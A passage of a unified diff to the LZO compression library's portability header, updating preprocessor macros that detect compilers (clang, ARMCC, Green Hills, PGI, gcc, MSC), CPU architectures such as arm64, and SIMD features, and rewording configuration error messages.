+# define LZO_CC_PATHSCALE (__PATHCC__ * 0x10000L + (__PATHCC_MINOR__-0) * 0x100 + (__PATHCC_PATCHLEVEL__-0))
# define LZO_INFO_CC "Pathscale C"
# define LZO_INFO_CCVER __PATHSCALE__
-#elif defined(__INTEL_COMPILER)
-# define LZO_CC_INTELC 1
+# if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+# define LZO_CC_PATHSCALE_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
+# endif
+#elif defined(__INTEL_COMPILER) && ((__INTEL_COMPILER-0) > 0)
+# define LZO_CC_INTELC __INTEL_COMPILER
# define LZO_INFO_CC "Intel C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__INTEL_COMPILER)
-# if defined(_WIN32) || defined(_WIN64)
-# define LZO_CC_SYNTAX_MSC 1
-# else
-# define LZO_CC_SYNTAX_GNUC 1
+# if defined(_MSC_VER) && ((_MSC_VER-0) > 0)
+# define LZO_CC_INTELC_MSC _MSC_VER
+# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+# define LZO_CC_INTELC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
# endif
#elif defined(__POCC__) && defined(_WIN32)
# define LZO_CC_PELLESC 1
# define LZO_INFO_CC "Pelles C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__POCC__)
-#elif defined(__clang__) && defined(__llvm__) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+#elif defined(__ARMCC_VERSION) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
# if defined(__GNUC_PATCHLEVEL__)
-# define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100 + __GNUC_PATCHLEVEL__)
+# define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
# else
-# define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100)
+# define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100)
# endif
+# define LZO_CC_ARMCC __ARMCC_VERSION
+# define LZO_INFO_CC "ARM C Compiler"
+# define LZO_INFO_CCVER __VERSION__
+#elif defined(__clang__) && defined(__llvm__) && defined(__VERSION__)
# if defined(__clang_major__) && defined(__clang_minor__) && defined(__clang_patchlevel__)
-# define LZO_CC_CLANG_CLANG (__clang_major__ * 0x10000L + __clang_minor__ * 0x100 + __clang_patchlevel__)
+# define LZO_CC_CLANG (__clang_major__ * 0x10000L + (__clang_minor__-0) * 0x100 + (__clang_patchlevel__-0))
# else
-# define LZO_CC_CLANG_CLANG 0x020700L
+# define LZO_CC_CLANG 0x010000L
# endif
-# define LZO_CC_CLANG LZO_CC_CLANG_GNUC
+# if defined(_MSC_VER) && ((_MSC_VER-0) > 0)
+# define LZO_CC_CLANG_MSC _MSC_VER
+# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+# define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
+# endif
# define LZO_INFO_CC "clang"
# define LZO_INFO_CCVER __VERSION__
#elif defined(__llvm__) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
# if defined(__GNUC_PATCHLEVEL__)
-# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100 + __GNUC_PATCHLEVEL__)
+# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
# else
-# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100)
+# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100)
# endif
# define LZO_CC_LLVM LZO_CC_LLVM_GNUC
# define LZO_INFO_CC "llvm-gcc"
# define LZO_INFO_CCVER __VERSION__
-#elif defined(__GNUC__) && defined(__VERSION__)
-# if defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__)
-# define LZO_CC_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100 + __GNUC_PATCHLEVEL__)
-# elif defined(__GNUC_MINOR__)
-# define LZO_CC_GNUC (__GNUC__ * 0x10000L + __GNUC_MINOR__ * 0x100)
-# else
-# define LZO_CC_GNUC (__GNUC__ * 0x10000L)
-# endif
-# define LZO_INFO_CC "gcc"
-# define LZO_INFO_CCVER __VERSION__
#elif defined(__ACK__) && defined(_ACK)
# define LZO_CC_ACK 1
# define LZO_INFO_CC "Amsterdam Compiler Kit C"
# define LZO_INFO_CCVER "unknown"
+#elif defined(__ARMCC_VERSION) && !defined(__GNUC__)
+# define LZO_CC_ARMCC __ARMCC_VERSION
+# define LZO_CC_ARMCC_ARMCC __ARMCC_VERSION
+# define LZO_INFO_CC "ARM C Compiler"
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ARMCC_VERSION)
#elif defined(__AZTEC_C__)
# define LZO_CC_AZTECC 1
# define LZO_INFO_CC "Aztec C"
@@ -539,10 +593,23 @@
# define LZO_CC_DECC 1
# define LZO_INFO_CC "DEC C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DECC)
+#elif (defined(__ghs) || defined(__ghs__)) && defined(__GHS_VERSION_NUMBER) && ((__GHS_VERSION_NUMBER-0) > 0)
+# define LZO_CC_GHS 1
+# define LZO_INFO_CC "Green Hills C"
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__GHS_VERSION_NUMBER)
+# if defined(_MSC_VER) && ((_MSC_VER-0) > 0)
+# define LZO_CC_GHS_MSC _MSC_VER
+# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
+# define LZO_CC_GHS_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
+# endif
#elif defined(__HIGHC__)
# define LZO_CC_HIGHC 1
# define LZO_INFO_CC "MetaWare High C"
# define LZO_INFO_CCVER "unknown"
+#elif defined(__HP_aCC) && ((__HP_aCC-0) > 0)
+# define LZO_CC_HPACC __HP_aCC
+# define LZO_INFO_CC "HP aCC"
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__HP_aCC)
#elif defined(__IAR_SYSTEMS_ICC__)
# define LZO_CC_IARC 1
# define LZO_INFO_CC "IAR C"
@@ -551,10 +618,14 @@
# else
# define LZO_INFO_CCVER "unknown"
# endif
-#elif defined(__IBMC__)
-# define LZO_CC_IBMC 1
+#elif defined(__IBMC__) && ((__IBMC__-0) > 0)
+# define LZO_CC_IBMC __IBMC__
# define LZO_INFO_CC "IBM C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMC__)
+#elif defined(__IBMCPP__) && ((__IBMCPP__-0) > 0)
+# define LZO_CC_IBMC __IBMCPP__
+# define LZO_INFO_CC "IBM C"
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMCPP__)
#elif defined(__KEIL__) && defined(__C166__)
# define LZO_CC_KEILC 1
# define LZO_INFO_CC "Keil C"
@@ -571,16 +642,8 @@
# else
# define LZO_INFO_CCVER "unknown"
# endif
-#elif defined(_MSC_VER)
-# define LZO_CC_MSC 1
-# define LZO_INFO_CC "Microsoft C"
-# if defined(_MSC_FULL_VER)
-# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) "." LZO_PP_MACRO_EXPAND(_MSC_FULL_VER)
-# else
-# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER)
-# endif
-#elif defined(__MWERKS__)
-# define LZO_CC_MWERKS 1
+#elif defined(__MWERKS__) && ((__MWERKS__-0) > 0)
+# define LZO_CC_MWERKS __MWERKS__
# define LZO_INFO_CC "Metrowerks C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__MWERKS__)
#elif (defined(__NDPC__) || defined(__NDPX__)) && defined(__i386)
@@ -591,6 +654,15 @@
# define LZO_CC_PACIFICC 1
# define LZO_INFO_CC "Pacific C"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PACIFIC__)
+#elif defined(__PGI) && defined(__PGIC__) && defined(__PGIC_MINOR__)
+# if defined(__PGIC_PATCHLEVEL__)
+# define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100 + (__PGIC_PATCHLEVEL__-0))
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) "." LZO_PP_MACRO_EXPAND(__PGIC_PATCHLEVEL__)
+# else
+# define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100)
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) ".0"
+# endif
+# define LZO_INFO_CC "Portland Group PGI C"
#elif defined(__PGI) && (defined(__linux__) || defined(__WIN32__))
# define LZO_CC_PGI 1
# define LZO_INFO_CC "Portland Group PGI C"
@@ -605,7 +677,7 @@
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SC__)
#elif defined(__SUNPRO_C)
# define LZO_INFO_CC "SunPro C"
-# if ((__SUNPRO_C)+0 > 0)
+# if ((__SUNPRO_C-0) > 0)
# define LZO_CC_SUNPROC __SUNPRO_C
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_C)
# else
@@ -614,7 +686,7 @@
# endif
#elif defined(__SUNPRO_CC)
# define LZO_INFO_CC "SunPro C"
-# if ((__SUNPRO_CC)+0 > 0)
+# if ((__SUNPRO_CC-0) > 0)
# define LZO_CC_SUNPROC __SUNPRO_CC
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_CC)
# else
@@ -640,16 +712,46 @@
#elif defined(__ZTC__)
# define LZO_CC_ZORTECHC 1
# define LZO_INFO_CC "Zortech C"
-# if (__ZTC__ == 0x310)
+# if ((__ZTC__-0) == 0x310)
# define LZO_INFO_CCVER "0x310"
# else
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ZTC__)
# endif
+#elif defined(__GNUC__) && defined(__VERSION__)
+# if defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__)
+# define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0))
+# elif defined(__GNUC_MINOR__)
+# define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100)
+# else
+# define LZO_CC_GNUC (__GNUC__ * 0x10000L)
+# endif
+# define LZO_INFO_CC "gcc"
+# define LZO_INFO_CCVER __VERSION__
+#elif defined(_MSC_VER) && ((_MSC_VER-0) > 0)
+# define LZO_CC_MSC _MSC_VER
+# define LZO_INFO_CC "Microsoft C"
+# if defined(_MSC_FULL_VER)
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) "." LZO_PP_MACRO_EXPAND(_MSC_FULL_VER)
+# else
+# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER)
+# endif
#else
# define LZO_CC_UNKNOWN 1
# define LZO_INFO_CC "unknown"
# define LZO_INFO_CCVER "unknown"
#endif
+#if (LZO_CC_GNUC) && defined(__OPEN64__)
+# if defined(__OPENCC__) && defined(__OPENCC_MINOR__) && defined(__OPENCC_PATCHLEVEL__)
+# define LZO_CC_OPEN64 (__OPENCC__ * 0x10000L + (__OPENCC_MINOR__-0) * 0x100 + (__OPENCC_PATCHLEVEL__-0))
+# define LZO_CC_OPEN64_GNUC LZO_CC_GNUC
+# endif
+#endif
+#if (LZO_CC_GNUC) && defined(__PCC__)
+# if defined(__PCC__) && defined(__PCC_MINOR__) && defined(__PCC_MINORMINOR__)
+# define LZO_CC_PCC (__PCC__ * 0x10000L + (__PCC_MINOR__-0) * 0x100 + (__PCC_MINORMINOR__-0))
+# define LZO_CC_PCC_GNUC LZO_CC_GNUC
+# endif
+#endif
#if 0 && (LZO_CC_MSC && (_MSC_VER >= 1200)) && !defined(_MSC_FULL_VER)
# error "LZO_CC_MSC: _MSC_FULL_VER is not defined"
#endif
@@ -667,8 +769,10 @@
# define LZO_INFO_ARCH "generic"
#elif (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16)
# define LZO_ARCH_I086 1
-# define LZO_ARCH_IA16 1
# define LZO_INFO_ARCH "i086"
+#elif defined(__aarch64__)
+# define LZO_ARCH_ARM64 1
+# define LZO_INFO_ARCH "arm64"
#elif defined(__alpha__) || defined(__alpha) || defined(_M_ALPHA)
# define LZO_ARCH_ALPHA 1
# define LZO_INFO_ARCH "alpha"
@@ -684,10 +788,10 @@
# define LZO_INFO_ARCH "arm_thumb"
#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCARM__)
# define LZO_ARCH_ARM 1
-# if defined(__CPU_MODE__) && ((__CPU_MODE__)+0 == 1)
+# if defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 1)
# define LZO_ARCH_ARM_THUMB 1
# define LZO_INFO_ARCH "arm_thumb"
-# elif defined(__CPU_MODE__) && ((__CPU_MODE__)+0 == 2)
+# elif defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 2)
# define LZO_INFO_ARCH "arm"
# else
# define LZO_INFO_ARCH "arm"
@@ -805,53 +909,147 @@
# error "FIXME - missing define for CPU architecture"
#endif
#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN32)
-# error "FIXME - missing WIN32 define for CPU architecture"
+# error "FIXME - missing LZO_OS_WIN32 define for CPU architecture"
#endif
#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN64)
-# error "FIXME - missing WIN64 define for CPU architecture"
+# error "FIXME - missing LZO_OS_WIN64 define for CPU architecture"
#endif
#if (LZO_OS_OS216 || LZO_OS_WIN16)
# define LZO_ARCH_I086PM 1
-# define LZO_ARCH_IA16PM 1
#elif 1 && (LZO_OS_DOS16 && defined(BLX286))
# define LZO_ARCH_I086PM 1
-# define LZO_ARCH_IA16PM 1
#elif 1 && (LZO_OS_DOS16 && defined(DOSX286))
# define LZO_ARCH_I086PM 1
-# define LZO_ARCH_IA16PM 1
#elif 1 && (LZO_OS_DOS16 && LZO_CC_BORLANDC && defined(__DPMI16__))
# define LZO_ARCH_I086PM 1
-# define LZO_ARCH_IA16PM 1
#endif
-#if (LZO_ARCH_ARM_THUMB) && !(LZO_ARCH_ARM)
-# error "this should not happen"
+#if (LZO_ARCH_AMD64 && !LZO_ARCH_X64)
+# define LZO_ARCH_X64 1
+#elif (!LZO_ARCH_AMD64 && LZO_ARCH_X64) && defined(__LZO_ARCH_OVERRIDE)
+# define LZO_ARCH_AMD64 1
#endif
-#if (LZO_ARCH_I086PM) && !(LZO_ARCH_I086)
-# error "this should not happen"
+#if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64)
+# define LZO_ARCH_AARCH64 1
+#elif (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) && defined(__LZO_ARCH_OVERRIDE)
+# define LZO_ARCH_ARM64 1
+#endif
+#if (LZO_ARCH_I386 && !LZO_ARCH_X86)
+# define LZO_ARCH_X86 1
+#elif (!LZO_ARCH_I386 && LZO_ARCH_X86) && defined(__LZO_ARCH_OVERRIDE)
+# define LZO_ARCH_I386 1
+#endif
+#if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) || (!LZO_ARCH_AMD64 && LZO_ARCH_X64)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) || (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_I386 && !LZO_ARCH_X86) || (!LZO_ARCH_I386 && LZO_ARCH_X86)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM_THUMB && !LZO_ARCH_ARM)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM_THUMB1 && !LZO_ARCH_ARM_THUMB)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM_THUMB2 && !LZO_ARCH_ARM_THUMB)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM_THUMB1 && LZO_ARCH_ARM_THUMB2)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_I086PM && !LZO_ARCH_I086)
+# error "unexpected configuration - check your compiler defines"
#endif
#if (LZO_ARCH_I086)
# if (UINT_MAX != LZO_0xffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (ULONG_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
#if (LZO_ARCH_I386)
# if (UINT_MAX != LZO_0xffffL) && defined(__i386_int16__)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (UINT_MAX != LZO_0xffffffffL) && !defined(__i386_int16__)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (ULONG_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
-#if !defined(__LZO_MM_OVERRIDE)
+#if (LZO_ARCH_AMD64 || LZO_ARCH_I386)
+# if !defined(LZO_TARGET_FEATURE_SSE2)
+# if defined(__SSE2__)
+# define LZO_TARGET_FEATURE_SSE2 1
+# elif defined(_MSC_VER) && ((defined(_M_IX86_FP) && ((_M_IX86_FP)+0 >= 2)) || defined(_M_AMD64))
+# define LZO_TARGET_FEATURE_SSE2 1
+# endif
+# endif
+# if !defined(LZO_TARGET_FEATURE_SSSE3)
+# if (LZO_TARGET_FEATURE_SSE2)
+# if defined(__SSSE3__)
+# define LZO_TARGET_FEATURE_SSSE3 1
+# elif defined(_MSC_VER) && defined(__AVX__)
+# define LZO_TARGET_FEATURE_SSSE3 1
+# endif
+# endif
+# endif
+# if !defined(LZO_TARGET_FEATURE_SSE4_2)
+# if (LZO_TARGET_FEATURE_SSSE3)
+# if defined(__SSE4_2__)
+# define LZO_TARGET_FEATURE_SSE4_2 1
+# endif
+# endif
+# endif
+# if !defined(LZO_TARGET_FEATURE_AVX)
+# if (LZO_TARGET_FEATURE_SSSE3)
+# if defined(__AVX__)
+# define LZO_TARGET_FEATURE_AVX 1
+# endif
+# endif
+# endif
+# if !defined(LZO_TARGET_FEATURE_AVX2)
+# if (LZO_TARGET_FEATURE_AVX)
+# if defined(__AVX2__)
+# define LZO_TARGET_FEATURE_AVX2 1
+# endif
+# endif
+# endif
+#endif
+#if (LZO_TARGET_FEATURE_SSSE3 && !(LZO_TARGET_FEATURE_SSE2))
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_TARGET_FEATURE_SSE4_2 && !(LZO_TARGET_FEATURE_SSSE3))
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_TARGET_FEATURE_AVX && !(LZO_TARGET_FEATURE_SSSE3))
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_TARGET_FEATURE_AVX2 && !(LZO_TARGET_FEATURE_AVX))
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ARCH_ARM)
+# if !defined(LZO_TARGET_FEATURE_NEON)
+# if defined(__ARM_NEON__)
+# define LZO_TARGET_FEATURE_NEON 1
+# endif
+# endif
+#elif (LZO_ARCH_ARM64)
+# if !defined(LZO_TARGET_FEATURE_NEON)
+# if 1
+# define LZO_TARGET_FEATURE_NEON 1
+# endif
+# endif
+#endif
+#if 0
+#elif !defined(__LZO_MM_OVERRIDE)
#if (LZO_ARCH_I086)
#if (UINT_MAX != LZO_0xffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
#endif
#if defined(__TINY__) || defined(M_I86TM) || defined(_M_I86TM)
# define LZO_MM_TINY 1
@@ -878,7 +1076,7 @@
#elif (LZO_CC_ZORTECHC && defined(__VCM__))
# define LZO_MM_LARGE 1
#else
-# error "unknown memory model"
+# error "unknown LZO_ARCH_I086 memory model"
#endif
#if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16)
#define LZO_HAVE_MM_HUGE_PTR 1
@@ -901,10 +1099,10 @@
#endif
#if (LZO_ARCH_I086PM) && !(LZO_HAVE_MM_HUGE_PTR)
# if (LZO_OS_DOS16)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# elif (LZO_CC_ZORTECHC)
# else
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
#ifdef __cplusplus
@@ -936,7 +1134,7 @@
#endif
#elif (LZO_ARCH_C166)
#if !defined(__MODEL__)
-# error "FIXME - C166 __MODEL__"
+# error "FIXME - LZO_ARCH_C166 __MODEL__"
#elif ((__MODEL__) == 0)
# define LZO_MM_SMALL 1
#elif ((__MODEL__) == 1)
@@ -950,11 +1148,11 @@
#elif ((__MODEL__) == 5)
# define LZO_MM_XSMALL 1
#else
-# error "FIXME - C166 __MODEL__"
+# error "FIXME - LZO_ARCH_C166 __MODEL__"
#endif
#elif (LZO_ARCH_MCS251)
#if !defined(__MODEL__)
-# error "FIXME - MCS251 __MODEL__"
+# error "FIXME - LZO_ARCH_MCS251 __MODEL__"
#elif ((__MODEL__) == 0)
# define LZO_MM_SMALL 1
#elif ((__MODEL__) == 2)
@@ -966,11 +1164,11 @@
#elif ((__MODEL__) == 5)
# define LZO_MM_XSMALL 1
#else
-# error "FIXME - MCS251 __MODEL__"
+# error "FIXME - LZO_ARCH_MCS251 __MODEL__"
#endif
#elif (LZO_ARCH_MCS51)
#if !defined(__MODEL__)
-# error "FIXME - MCS51 __MODEL__"
+# error "FIXME - LZO_ARCH_MCS51 __MODEL__"
#elif ((__MODEL__) == 1)
# define LZO_MM_SMALL 1
#elif ((__MODEL__) == 2)
@@ -982,7 +1180,7 @@
#elif ((__MODEL__) == 5)
# define LZO_MM_XSMALL 1
#else
-# error "FIXME - MCS51 __MODEL__"
+# error "FIXME - LZO_ARCH_MCS51 __MODEL__"
#endif
#elif (LZO_ARCH_CRAY_PVP)
# define LZO_MM_PVP 1
@@ -1009,567 +1207,156 @@
# error "unknown memory model"
#endif
#endif
-#if defined(SIZEOF_SHORT)
-# define LZO_SIZEOF_SHORT (SIZEOF_SHORT)
-#endif
-#if defined(SIZEOF_INT)
-# define LZO_SIZEOF_INT (SIZEOF_INT)
-#endif
-#if defined(SIZEOF_LONG)
-# define LZO_SIZEOF_LONG (SIZEOF_LONG)
-#endif
-#if defined(SIZEOF_LONG_LONG)
-# define LZO_SIZEOF_LONG_LONG (SIZEOF_LONG_LONG)
-#endif
-#if defined(SIZEOF___INT16)
-# define LZO_SIZEOF___INT16 (SIZEOF___INT16)
-#endif
-#if defined(SIZEOF___INT32)
-# define LZO_SIZEOF___INT32 (SIZEOF___INT32)
-#endif
-#if defined(SIZEOF___INT64)
-# define LZO_SIZEOF___INT64 (SIZEOF___INT64)
-#endif
-#if defined(SIZEOF_VOID_P)
-# define LZO_SIZEOF_VOID_P (SIZEOF_VOID_P)
-#endif
-#if defined(SIZEOF_SIZE_T)
-# define LZO_SIZEOF_SIZE_T (SIZEOF_SIZE_T)
-#endif
-#if defined(SIZEOF_PTRDIFF_T)
-# define LZO_SIZEOF_PTRDIFF_T (SIZEOF_PTRDIFF_T)
-#endif
-#define __LZO_LSR(x,b) (((x)+0ul) >> (b))
-#if !defined(LZO_SIZEOF_SHORT)
-# if (LZO_ARCH_CRAY_PVP)
-# define LZO_SIZEOF_SHORT 8
-# elif (USHRT_MAX == LZO_0xffffL)
-# define LZO_SIZEOF_SHORT 2
-# elif (__LZO_LSR(USHRT_MAX,7) == 1)
-# define LZO_SIZEOF_SHORT 1
-# elif (__LZO_LSR(USHRT_MAX,15) == 1)
-# define LZO_SIZEOF_SHORT 2
-# elif (__LZO_LSR(USHRT_MAX,31) == 1)
-# define LZO_SIZEOF_SHORT 4
-# elif (__LZO_LSR(USHRT_MAX,63) == 1)
-# define LZO_SIZEOF_SHORT 8
-# elif (__LZO_LSR(USHRT_MAX,127) == 1)
-# define LZO_SIZEOF_SHORT 16
-# else
-# error "LZO_SIZEOF_SHORT"
-# endif
-#endif
-#if !defined(LZO_SIZEOF_INT)
-# if (LZO_ARCH_CRAY_PVP)
-# define LZO_SIZEOF_INT 8
-# elif (UINT_MAX == LZO_0xffffL)
-# define LZO_SIZEOF_INT 2
-# elif (UINT_MAX == LZO_0xffffffffL)
-# define LZO_SIZEOF_INT 4
-# elif (__LZO_LSR(UINT_MAX,7) == 1)
-# define LZO_SIZEOF_INT 1
-# elif (__LZO_LSR(UINT_MAX,15) == 1)
-# define LZO_SIZEOF_INT 2
-# elif (__LZO_LSR(UINT_MAX,31) == 1)
-# define LZO_SIZEOF_INT 4
-# elif (__LZO_LSR(UINT_MAX,63) == 1)
-# define LZO_SIZEOF_INT 8
-# elif (__LZO_LSR(UINT_MAX,127) == 1)
-# define LZO_SIZEOF_INT 16
-# else
-# error "LZO_SIZEOF_INT"
-# endif
-#endif
-#if !defined(LZO_SIZEOF_LONG)
-# if (ULONG_MAX == LZO_0xffffffffL)
-# define LZO_SIZEOF_LONG 4
-# elif (__LZO_LSR(ULONG_MAX,7) == 1)
-# define LZO_SIZEOF_LONG 1
-# elif (__LZO_LSR(ULONG_MAX,15) == 1)
-# define LZO_SIZEOF_LONG 2
-# elif (__LZO_LSR(ULONG_MAX,31) == 1)
-# define LZO_SIZEOF_LONG 4
-# elif (__LZO_LSR(ULONG_MAX,63) == 1)
-# define LZO_SIZEOF_LONG 8
-# elif (__LZO_LSR(ULONG_MAX,127) == 1)
-# define LZO_SIZEOF_LONG 16
-# else
-# error "LZO_SIZEOF_LONG"
-# endif
-#endif
-#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64)
-#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8)
-# if defined(__LONG_MAX__) && defined(__LONG_LONG_MAX__)
-# if (LZO_CC_GNUC >= 0x030300ul)
-# if ((__LONG_MAX__)+0 == (__LONG_LONG_MAX__)+0)
-# define LZO_SIZEOF_LONG_LONG LZO_SIZEOF_LONG
-# elif (__LZO_LSR(__LONG_LONG_MAX__,30) == 1)
-# define LZO_SIZEOF_LONG_LONG 4
-# endif
-# endif
-# endif
-#endif
-#endif
-#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64)
-#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8)
-#if (LZO_ARCH_I086 && LZO_CC_DMC)
-#elif (LZO_CC_CILLY) && defined(__GNUC__)
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define LZO_SIZEOF_LONG_LONG 8
-#elif ((LZO_OS_WIN32 || LZO_OS_WIN64 || defined(_WIN32)) && LZO_CC_MSC && (_MSC_VER >= 1400))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_OS_WIN64 || defined(_WIN64))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_ARCH_I386 && (LZO_CC_DMC))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_ARCH_I386 && (LZO_CC_SYMANTECC && (__SC__ >= 0x700)))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_ARCH_I386 && (LZO_CC_INTELC && defined(__linux__)))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_ARCH_I386 && (LZO_CC_MWERKS || LZO_CC_PELLESC || LZO_CC_PGI || LZO_CC_SUNPROC))
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_ARCH_I386 && (LZO_CC_INTELC || LZO_CC_MSC))
-# define LZO_SIZEOF___INT64 8
-#elif ((LZO_OS_WIN32 || defined(_WIN32)) && (LZO_CC_MSC))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_ARCH_I386 && (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0520)))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_ARCH_I386 && (LZO_CC_WATCOMC && (__WATCOMC__ >= 1100)))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_CC_WATCOMC && defined(_INTEGRAL_MAX_BITS) && (_INTEGRAL_MAX_BITS == 64))
-# define LZO_SIZEOF___INT64 8
-#elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__)
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64)
-# define LZO_SIZEOF_LONG_LONG 8
-#elif (LZO_CC_SDCC) && (LZO_SIZEOF_INT == 2)
-#elif 1 && defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
-# define LZO_SIZEOF_LONG_LONG 8
-#endif
-#endif
-#endif
-#if defined(__cplusplus) && (LZO_CC_GNUC)
-# if (LZO_CC_GNUC < 0x020800ul)
-# undef LZO_SIZEOF_LONG_LONG
-# endif
